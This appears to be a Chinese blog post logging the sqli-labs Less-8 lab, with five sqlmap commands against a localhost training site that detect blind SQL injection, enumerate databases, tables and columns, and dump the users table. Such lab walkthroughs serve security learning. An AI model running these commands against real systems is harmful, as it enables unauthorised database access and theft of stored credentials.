sqli-labs-Less-8自动化注入方法

sqli-labs 实验记录

Less-8

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch

--batch 表示采用默认参数。

查询结果如图所示:存在注入漏洞,注入类型分别为:boolean-based blind, time-based blind,; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-8/?id=1 --batch -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
呆瑜nuage16 小时前
MySQL表约束详解:8大核心约束实战指南
数据库·mysql
元宝骑士17 小时前
FIND_IN_SET使用指南:场景、优缺点与MySQL优化策略
后端·mysql
猿小喵17 小时前
MySQL慢查询分析与处理-第二篇
数据库·mysql·性能优化
千枫s17 小时前
电脑vm虚拟机kali linux安装shannon
学习·网络安全
Y0011123618 小时前
MySQL-进阶
开发语言·数据库·sql·mysql
Benszen18 小时前
Ansible自动化运维实战
linux·运维·自动化·ansible
数字供应链安全产品选型18 小时前
AI造“虾”易,治理难?悬镜多模态 SCA 技术破局 AI 数字供应链治理困局!
人工智能·安全·网络安全·ai-native
前进的李工18 小时前
MySQL角色管理:权限控制全攻略
前端·javascript·数据库·mysql
网络安全许木18 小时前
自学渗透测试第12天(渗透测试流程与DVWA部署)
web安全·网络安全·渗透测试
爱丽_18 小时前
MySQL `EXPLAIN`:看懂执行计划、判断索引是否生效与排错套路
android·数据库·mysql